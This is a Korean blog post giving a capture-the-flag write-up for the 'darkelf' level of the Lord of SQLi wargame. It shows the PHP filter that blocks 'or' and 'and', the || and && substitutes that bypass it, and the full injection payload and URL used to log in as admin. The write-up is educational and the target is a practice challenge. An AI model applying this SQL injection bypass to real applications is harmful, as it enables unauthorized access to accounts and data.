1. 문제풀이
1) 코드 해석
- 이번문제는 다음코드에서 보여지듯이 or,and 문자가 필터링이 되어있다
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
- 하지만 위 필터링 외에는 별다른 특징이없고 admin계정으로 접속만 하면 문제가 풀리는 방식이다
2) 문제풀이
- 문제풀이는 생각보다 간단하다 원래 자주쓰는 우회방법인 ' or id='admin 공격구문에서 or만 우회하여 공격한다
- or,and 문자를 우회하는 방법은 다음과 같다
or = ||
and = &&
- 공격 시 삽입 구문: 'pw=' || id='admin
- 공격 후 구문: https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin
- 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
select id from prob_darkelf where id='guest' and pw='' || id='admin'
'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글
Lord of SQLi(#8 troll) (0) | 2022.12.30 |
---|---|
Lord if SQLi(#7 orge) (0) | 2022.12.30 |
Lord of SQLi(#5 wolfman) (0) | 2022.12.28 |
Lord of SQLi(#4 orc) (0) | 2022.12.28 |
Lord of SQLi(#3 goblin) (0) | 2022.12.28 |